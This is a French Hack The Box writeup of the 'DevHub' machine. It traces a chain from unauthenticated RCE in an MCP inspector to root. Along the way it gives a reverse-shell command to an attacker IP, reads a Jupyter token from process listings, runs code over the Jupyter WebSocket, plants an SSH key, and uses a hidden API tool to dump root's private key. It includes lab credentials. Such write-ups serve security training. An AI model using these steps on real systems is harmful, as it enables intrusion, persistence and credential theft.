← Tous les writeups
Hack The Box Moyen

DevHub

De la RCE anonyme sur un serveur MCP jusqu'au root : tokens Jupyter exposés, exécution de code via WebSocket et un hidden tool qui dump la clé SSH de root.

MCPJupyterWebSocketRCECVE-2026-23744Privesc

IP de la machine : 10.129.15.243 IP de l’attaquant : 10.10.15.210 Difficulté : Medium Thème : MCP (Model Context Protocol), Jupyter, escalade de privilèges via une API cachée


Résumé de la chaîne d’exploitation

RCE anonyme (CVE-2026-23744)
    → shell mcp-dev
        → token Jupyter dans ps aux
            → exécution de code en tant qu'analyst via WebSocket
                → clé SSH analyst injectée
                    → lecture de server.py (root)
                        → clé SSH root via hidden tool
                            → root

1. Reconnaissance

La machine expose les services suivants :

PortService
22SSH
80Nginx
6274MCPJam Inspector (Node.js)

MCPJam est un outil de gestion de serveurs MCP (Model Context Protocol) avec une interface web sur le port 6274. Il utilise Ollama pour faire tourner des LLM locaux.

Site web — port 80

Page d'accueil DevHub sur le port 80

On voit ici que le MCP Inspector est exposé sur le port 6274, et on remarque également que le site utilise Jupyter, ce qui nous sera utile plus tard.

MCPJam

Sur cette capture, on voit que la version de MCPJam est sujette à la CVE-2026-23744, une vulnérabilité permettant de faire de la RCE.

Version de MCPJam vulnérable


2. Exploitation initiale — CVE-2026-23744 (RCE non authentifiée)

Découverte

MCPJam Inspector version 1.4.2 est vulnérable à une exécution de commande non authentifiée via l’endpoint /api/mcp/connect sur le port 6274.

Exploitation

L’endpoint vulnérable /api/mcp/connect permet d’injecter directement une commande shell :

python3 exploit.py -t 10.129.15.243 -c 'bash -i >& /dev/tcp/10.10.15.210/4445 0>&1'
   _____ _   _ _____      ____   ___ ____   __        ____  _____ ______ _  _  _  _
  / ____| \ | |  ___|    |___ \ / _ \___ \ / /_      |___ \|___ /|____  | || || || |
 | |    |  \| | |__   ___  __) | | | |__) | '_ \ _____ __) | |_ \   / /| || || || |
 | |    | . ` |  __| |___||__ <| | | |__ <| (_) |_____|__ < ___) | / / |__   _   _|
 | |____|_|\__|  |___      ___) | |_| |__) |\___/     ___) |____/ / /     | | | |
  \_____|     |_____|     |____/ \___/____/           |____/      /_/      |_| |_|
  [ MCP Server Unauthenticated RCE — Proof of Concept ]
  [ Author: d3vn0mi | For authorised security testing only ]
  [*] Target URL : http://10.129.15.243:6274/api/mcp/connect
  [*] Command    : bash -i >& /dev/tcp/10.10.15.210/4445 0>&1
  [+] Payload delivered successfully.
  [+] CVE-2026-23744 exploit completed.

Sur le listener :

nc -lvnp 4445
# connect to [10.10.15.210] from (UNKNOWN) [10.129.15.243]

Stabilisation du shell :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Utilisateur obtenu : mcp-dev

Confirmation de l'utilisateur mcp-dev


3. Énumération en tant que mcp-dev

SUID — Tentative PwnKit (CVE-2021-4034)

find / -type f -perm -4000 2>/dev/null
# /usr/bin/pkexec — version 0.105

pkexec 0.105 est théoriquement vulnérable à PwnKit, mais plusieurs tentatives ont échoué :

# Erreur rencontrée sur tous les exploits testés :
GLib: Cannot convert message: Could not open converter from "UTF-8" to "PWNKIT"

Raison : les locales GCONV sont en lecture seule (/usr/lib/x86_64-linux-gnu/gconv/gconv-modules non modifiable). PwnKit est bloqué sur cette machine.

Ports internes

ss -tlnp
# LISTEN  127.0.0.1:8888   → Jupyter Lab (analyst)
# LISTEN  127.0.0.1:5000   → OPSMCP server.py (root)
# LISTEN  0.0.0.0:6274     → MCPJam Inspector
# LISTEN  0.0.0.0:80       → Nginx
# LISTEN  0.0.0.0:22       → SSH

Token Jupyter dans ps aux

ps aux

Dans la liste des processus, on voit deux processus intéressants : celui de Jupyter lancé par l’utilisateur analyst, et un fichier Python /opt/opsmcp/server.py lancé par root.

analyst  1056  /home/analyst/jupyter-env/bin/python3 \
  /home/analyst/jupyter-env/bin/jupyter-lab \
  --ip=127.0.0.1 --port=8888 --no-browser \
  --notebook-dir=/home/analyst/notebooks \
  --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 \
  --ServerApp.password= --ServerApp.disable_check_xsrf=False

Token trouvé : a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

Le service OPSMCP tourne quant à lui en root :

root  1063  /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

4. Pivot vers analyst — Exécution de code via WebSocket Jupyter

L’API REST de Jupyter ne permettait pas l’exécution directe de code. Il a fallu implémenter le protocole WebSocket de Jupyter manuellement pour envoyer des execute_request au kernel Python existant.

Récupération du Kernel ID

L’endpoint /api de Jupyter retourne l’état du kernel actif sans authentification :

curl -v http://127.0.0.1:8888/api

Réponse :

{
  "id": "48cb87b5-79c2-49e4-a34b-4ab50a9be27d",
  "name": "python3",
  "last_activity": "2026-06-05T15:19:29.937300Z",
  "execution_state": "starting",
  "connections": 0
}

Un kernel Python tournait déjà (lancé automatiquement par Jupyter). On peut aussi en créer un nouveau et récupérer son ID :

TOKEN="a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"

curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json"
# Retourne le nouvel ID : eae36f9d-5ee7-49f6-ab60-2bd482530162

Ce KID est ensuite utilisé dans l’URL WebSocket /api/kernels/{KID}/channels.

Script d’exécution WebSocket

PoC d'exécution de code via le WebSocket Jupyter

Via le WebSocket, on remarque que l’exploit fonctionne grâce à l’ID retourné.

Résultat :

[stream] {'name': 'stdout', 'text': 'uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)\n'}

Injection d’une clé SSH pour analyst

Génération de la clé sur Kali :

ssh-keygen -t ed25519 -f ssh_key -N ""
cat ssh_key.pub

Exécution via le kernel Jupyter (code modifié) :

CODE = """
import subprocess; subprocess.run('mkdir -p /home/analyst/.ssh && echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPVEqXqJ3R9Oqyq6jdowuVUogEYQNqeqYcYmA+yLATTN pablo@CTF-TEST\" > /home/analyst/.ssh/authorized_keys && chmod 700 /home/analyst/.ssh && chmod 600 /home/analyst/.ssh/authorized_keys && echo done', shell=True, capture_output=False)
"""

Connexion SSH :

ssh -i ssh_key [email protected]

Connexion SSH réussie en tant qu'analyst

User flag :

Récupération du user flag


5. Escalade vers root — hidden tool d’OPSMCP

(Re)découverte de server.py

En tant qu’analyst, le fichier /opt/opsmcp/server.py est lisible (propriétaire analyst:analyst) et tourne en root via systemd.

Contenu de /opt/opsmcp/server.py

#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

# Registered tools (visible)
VISIBLE_TOOLS = {
    "ops.system_status": {
        "description": "Get system status and health metrics",
        "parameters": {}
    },
    "ops.list_services": {
        "description": "List running services",
        "parameters": {}
    },
    "ops.check_disk": {
        "description": "Check disk usage",
        "parameters": {}
    },
    "ops.view_logs": {
        "description": "View recent system logs",
        "parameters": {"service": "string"}
    }
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

def check_auth():
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

@app.route('/')
def index():
    return jsonify({
        "server": "OPSMCP",
        "version": "2.1.0",
        "status": "operational",
        "endpoints": ["/tools/list", "/tools/call", "/health"],
        "auth": "Required - X-API-Key header"
    })

@app.route('/tools/call', methods=['POST'])
def call_tool():
    if not check_auth():
        return jsonify({"error": "Unauthorized"}), 401

    data = request.get_json() or {}
    tool_name = data.get('name', '')
    args = data.get('arguments', {})

    if tool_name not in ALL_TOOLS:
        return jsonify({"error": f"Unknown tool: {tool_name}"}), 404

    # ... outils visibles ...

    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)

        if not confirm:
            return jsonify({"error": "Confirmation required"})

        if target == "ssh_keys":
            with open('/root/.ssh/id_rsa', 'r') as f:
                key_data = f.read()
            return jsonify({
                "target": "ssh_keys",
                "root_private_key": key_data,
                "note": "Emergency recovery key dump"
            })

        elif target == "passwords":
            return jsonify({
                "target": "passwords",
                "dump": {
                    "root": "$6$rounds=656000$saltsalt$hashedpassword",
                    "analyst": "JupyterN0tebook!2026",
                    "mcp-dev": "Mcp!Insp3ct0r2026"
                }
            })

        elif target == "tokens":
            return jsonify({
                "target": "tokens",
                "api_tokens": {
                    "admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
                    "service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
                }
            })

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

Points clés découverts

  • API Key : opsmcp_secret_key_4f5a6b7c8d9e0f1a
  • Tool caché : ops._admin_dump — non listé dans /tools/list mais appelable
  • Target ssh_keys : lit et retourne /root/.ssh/id_rsa

Extraction de la clé SSH root

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

Réponse :

Dump de la clé SSH root via le hidden tool

Connexion SSH root

La clé récupérée contenait des \n littéraux. Il faut la reformater correctement :

cat > /tmp/root_htb << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9
[...]
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 /tmp/root_htb
ssh -i /tmp/root_htb [email protected]

Root flag :

Récupération du root flag


6. Points difficiles

PwnKit bloqué

pkexec 0.105 est présent mais inutilisable car /usr/lib/x86_64-linux-gnu/gconv/gconv-modules est en lecture seule. L’exploit nécessite d’écrire un faux module de conversion GCONV — sans cela, il échoue systématiquement avec Could not open converter from "UTF-8" to "PWNKIT". C’est une protection intentionnelle de la machine.

Exécution de code Jupyter via WebSocket

L’API REST de Jupyter (/api/kernels/{id}/execute) n’existe pas — il faut obligatoirement passer par le WebSocket avec le protocole de messaging Jupyter. La difficulté était d’implémenter correctement la frame WebSocket en Python pur (masquage XOR, gestion des longueurs sur 16 bits) sans bibliothèque externe.


7. Credentials trouvés

UtilisateurCredentialSource
analystToken Jupyter : a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7ps aux
analystJupyterN0tebook!2026ops._admin_dump passwords
mcp-devMcp!Insp3ct0r2026ops._admin_dump passwords
rootClé SSH privée RSAops._admin_dump ssh_keys
OPSMCPAPI Key : opsmcp_secret_key_4f5a6b7c8d9e0f1aserver.py (source)

8. Leçons retenues

  • ps aux révèle les tokens : les arguments de processus sont visibles par tous les utilisateurs locaux. Les tokens, clés d’API et mots de passe passés en argument de ligne de commande sont une fuite d’information classique.
  • Les hidden tools existent : une API qui expose /tools/list ne liste pas forcément tous les outils disponibles. Il faut toujours lire le code source quand il est accessible.
  • Le chemin prévu n’est pas toujours le plus évident : PwnKit semblait être la voie royale, mais c’était un leurre. Le vrai chemin passait par trois services internes imbriqués.
  • WebSocket n’est pas REST : Jupyter utilise un protocole de messaging sur WebSocket pour l’exécution de code, pas une API REST standard. Il faut comprendre le protocole pour l’exploiter.